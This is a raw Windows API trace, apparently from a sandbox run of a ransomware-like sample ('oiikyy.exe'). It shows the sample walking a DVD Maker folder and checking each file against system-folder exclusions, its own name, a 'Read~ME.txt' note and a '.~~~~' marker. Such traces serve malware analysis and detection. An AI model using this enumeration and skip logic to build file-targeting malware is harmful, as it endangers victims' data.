	[0081.416] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.416] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.416] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.416] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.416] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.416] GetCurrentThreadId () returned 0x618
	[0081.416] RtlWakeConditionVariable () returned 0x365f48
	[0081.416] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.416] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.416] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.416] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.417] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.417] GetCurrentThreadId () returned 0x618
	[0081.417] RtlWakeConditionVariable () returned 0x365f48
	[0081.417] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x2, cFileName="vintage.png", cAlternateFileName="")) returned 1
	[0081.417] lstrcmpiW (lpString1="vintage.png", lpString2="Windows") returned -1
	[0081.417] lstrcmpW (lpString1="vintage.png", lpString2="oiikyy.exe") returned 1
	[0081.417] StrStrW (lpFirst="vintage.png", lpSrch=".~~~~") returned 0x0
	[0081.417] lstrcmpW (lpString1="vintage.png", lpString2="Read~ME.txt") returned 1
	[0081.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.417] GetCurrentThreadId () returned 0x618
	[0081.417] RtlWakeConditionVariable () returned 0x365f48
	[0081.417] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x2, cFileName="vintage.png", cAlternateFileName="")) returned 0
	[0081.418] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.419] GetCurrentThreadId () returned 0x618
	[0081.419] RtlWakeConditionVariable () returned 0x365f48
	[0081.419] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1
	[0081.419] lstrcmpiW (lpString1="Performance", lpString2="Windows") returned -1
	[0081.419] lstrcmpW (lpString1="Performance", lpString2=".") returned 1
	[0081.419] lstrcmpW (lpString1="Performance", lpString2="..") returned 1
	[0081.419] lstrcmpW (lpString1="Performance", lpString2="AppData") returned 1
	[0081.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", lpSrch="AppData") returned 0x0
	[0081.419] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.419] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", lpString2="C:\\Windows") returned -1
	[0081.419] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.419] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", lpString2="C:\\System Volume Information") returned -1
	[0081.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.472] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.472] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.472] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.483] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.483] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.483] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.483] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.483] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.483] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.483] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.483] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.483] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.483] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x2, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1
	[0081.483] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="Windows") returned -1
	[0081.483] lstrcmpW (lpString1="720x480blacksquare.png", lpString2="oiikyy.exe") returned -1
	[0081.496] StrStrW (lpFirst="720x480blacksquare.png", lpSrch=".~~~~") returned 0x0
	[0081.496] lstrcmpW (lpString1="720x480blacksquare.png", lpString2="Read~ME.txt") returned -1
	[0081.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.496] GetCurrentThreadId () returned 0x618
	[0081.496] RtlWakeConditionVariable () returned 0x365f48
	[0081.496] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x2, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.496] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.496] lstrcmpW (lpString1="NextMenuButtonIcon.png", lpString2="oiikyy.exe") returned -1
	[0081.496] StrStrW (lpFirst="NextMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.496] lstrcmpW (lpString1="NextMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.496] GetCurrentThreadId () returned 0x618
	[0081.497] RtlWakeConditionVariable () returned 0x365f48
	[0081.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x2, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1
	[0081.497] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="Windows") returned -1
	[0081.497] lstrcmpW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="oiikyy.exe") returned -1
	[0081.497] StrStrW (lpFirst="NextMenuButtonIconSubpictur.png", lpSrch=".~~~~") returned 0x0
	[0081.497] lstrcmpW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="Read~ME.txt") returned -1
	[0081.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.497] GetCurrentThreadId () returned 0x618
	[0081.497] RtlWakeConditionVariable () returned 0x365f48
	[0081.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1
	[0081.497] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="Windows") returned -1
	[0081.497] lstrcmpW (lpString1="Notes_loop.wmv", lpString2="oiikyy.exe") returned -1
	[0081.497] StrStrW (lpFirst="Notes_loop.wmv", lpSrch=".~~~~") returned 0x0
	[0081.497] lstrcmpW (lpString1="Notes_loop.wmv", lpString2="Read~ME.txt") returned -1
	[0081.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.497] GetCurrentThreadId () returned 0x618
	[0081.497] RtlWakeConditionVariable () returned 0x365f48
	[0081.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.497] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="Windows") returned -1
	[0081.497] lstrcmpW (lpString1="Notes_loop_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0081.497] StrStrW (lpFirst="Notes_loop_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.497] lstrcmpW (lpString1="Notes_loop_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0081.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.497] GetCurrentThreadId () returned 0x618
	[0081.497] RtlWakeConditionVariable () returned 0x365f48
	[0081.497] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x2, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.498] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.498] lstrcmpW (lpString1="ParentMenuButtonIcon.png", lpString2="oiikyy.exe") returned 1
	[0081.498] StrStrW (lpFirst="ParentMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.498] lstrcmpW (lpString1="ParentMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.498] GetCurrentThreadId () returned 0x618
	[0081.498] RtlWakeConditionVariable () returned 0x365f48
	[0081.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x2, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1
	[0081.498] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="Windows") returned -1
	[0081.498] lstrcmpW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="oiikyy.exe") returned 1
	[0081.498] StrStrW (lpFirst="ParentMenuButtonIconSubpict.png", lpSrch=".~~~~") returned 0x0
	[0081.498] lstrcmpW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="Read~ME.txt") returned -1
	[0081.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.498] GetCurrentThreadId () returned 0x618
	[0081.498] RtlWakeConditionVariable () returned 0x365f48
	[0081.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x2, cFileName="performance.png", cAlternateFileName="")) returned 1
	[0081.498] lstrcmpiW (lpString1="performance.png", lpString2="Windows") returned -1
	[0081.498] lstrcmpW (lpString1="performance.png", lpString2="oiikyy.exe") returned 1
	[0081.498] StrStrW (lpFirst="performance.png", lpSrch=".~~~~") returned 0x0
	[0081.498] lstrcmpW (lpString1="performance.png", lpString2="Read~ME.txt") returned -1
	[0081.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.498] GetCurrentThreadId () returned 0x618
	[0081.498] RtlWakeConditionVariable () returned 0x365f48
	[0081.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1
	[0081.498] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="Windows") returned -1
	[0081.498] lstrcmpW (lpString1="Perf_Scenes_Mask1.png", lpString2="oiikyy.exe") returned 1
	[0081.498] StrStrW (lpFirst="Perf_Scenes_Mask1.png", lpSrch=".~~~~") returned 0x0
	[0081.498] lstrcmpW (lpString1="Perf_Scenes_Mask1.png", lpString2="Read~ME.txt") returned -1
	[0081.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.498] GetCurrentThreadId () returned 0x618
	[0081.498] RtlWakeConditionVariable () returned 0x365f48
	[0081.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x2, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1
	[0081.499] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="Windows") returned -1
	[0081.499] lstrcmpW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="oiikyy.exe") returned 1
	[0081.499] StrStrW (lpFirst="Perf_Scenes_Subpicture1.png", lpSrch=".~~~~") returned 0x0
	[0081.499] lstrcmpW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="Read~ME.txt") returned -1
	[0081.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.499] GetCurrentThreadId () returned 0x618
	[0081.499] RtlWakeConditionVariable () returned 0x365f48
	[0081.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x2, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.499] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.499] lstrcmpW (lpString1="PreviousMenuButtonIcon.png", lpString2="oiikyy.exe") returned 1
	[0081.499] StrStrW (lpFirst="PreviousMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.501] lstrcmpW (lpString1="PreviousMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.501] GetCurrentThreadId () returned 0x618
	[0081.501] RtlWakeConditionVariable () returned 0x365f48
	[0081.501] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x2, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1
	[0081.501] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="Windows") returned -1
	[0081.501] lstrcmpW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="oiikyy.exe") returned 1
	[0081.501] StrStrW (lpFirst="PreviousMenuButtonIconSubpi.png", lpSrch=".~~~~") returned 0x0
	[0081.501] lstrcmpW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="Read~ME.txt") returned -1
	[0081.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.501] GetCurrentThreadId () returned 0x618
	[0081.501] RtlWakeConditionVariable () returned 0x365f48
	[0081.501] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x2, cFileName="redmenu.png", cAlternateFileName="")) returned 1
	[0081.501] lstrcmpiW (lpString1="redmenu.png", lpString2="Windows") returned -1
	[0081.501] lstrcmpW (lpString1="redmenu.png", lpString2="oiikyy.exe") returned 1
	[0081.502] StrStrW (lpFirst="redmenu.png", lpSrch=".~~~~") returned 0x0
	[0081.502] lstrcmpW (lpString1="redmenu.png", lpString2="Read~ME.txt") returned 1
	[0081.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.502] GetCurrentThreadId () returned 0x618
	[0081.502] RtlWakeConditionVariable () returned 0x365f48
	[0081.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1
	[0081.502] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="Windows") returned -1
	[0081.502] lstrcmpW (lpString1="Scene_loop.wmv", lpString2="oiikyy.exe") returned 1
	[0081.502] StrStrW (lpFirst="Scene_loop.wmv", lpSrch=".~~~~") returned 0x0
	[0081.502] lstrcmpW (lpString1="Scene_loop.wmv", lpString2="Read~ME.txt") returned 1
	[0081.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.502] GetCurrentThreadId () returned 0x618
	[0081.502] RtlWakeConditionVariable () returned 0x365f48
	[0081.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.502] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="Windows") returned -1
	[0081.502] lstrcmpW (lpString1="Scene_loop_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.502] StrStrW (lpFirst="Scene_loop_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.502] lstrcmpW (lpString1="Scene_loop_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.502] GetCurrentThreadId () returned 0x618
	[0081.502] RtlWakeConditionVariable () returned 0x365f48
	[0081.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x2, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.502] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="Windows") returned -1
	[0081.502] lstrcmpW (lpString1="TitleButtonIcon.png", lpString2="oiikyy.exe") returned 1
	[0081.502] StrStrW (lpFirst="TitleButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.502] lstrcmpW (lpString1="TitleButtonIcon.png", lpString2="Read~ME.txt") returned 1
	[0081.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.502] GetCurrentThreadId () returned 0x618
	[0081.502] RtlWakeConditionVariable () returned 0x365f48
	[0081.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x2, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0081.503] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="Windows") returned -1
	[0081.503] lstrcmpW (lpString1="TitleButtonSubpicture.png", lpString2="oiikyy.exe") returned 1
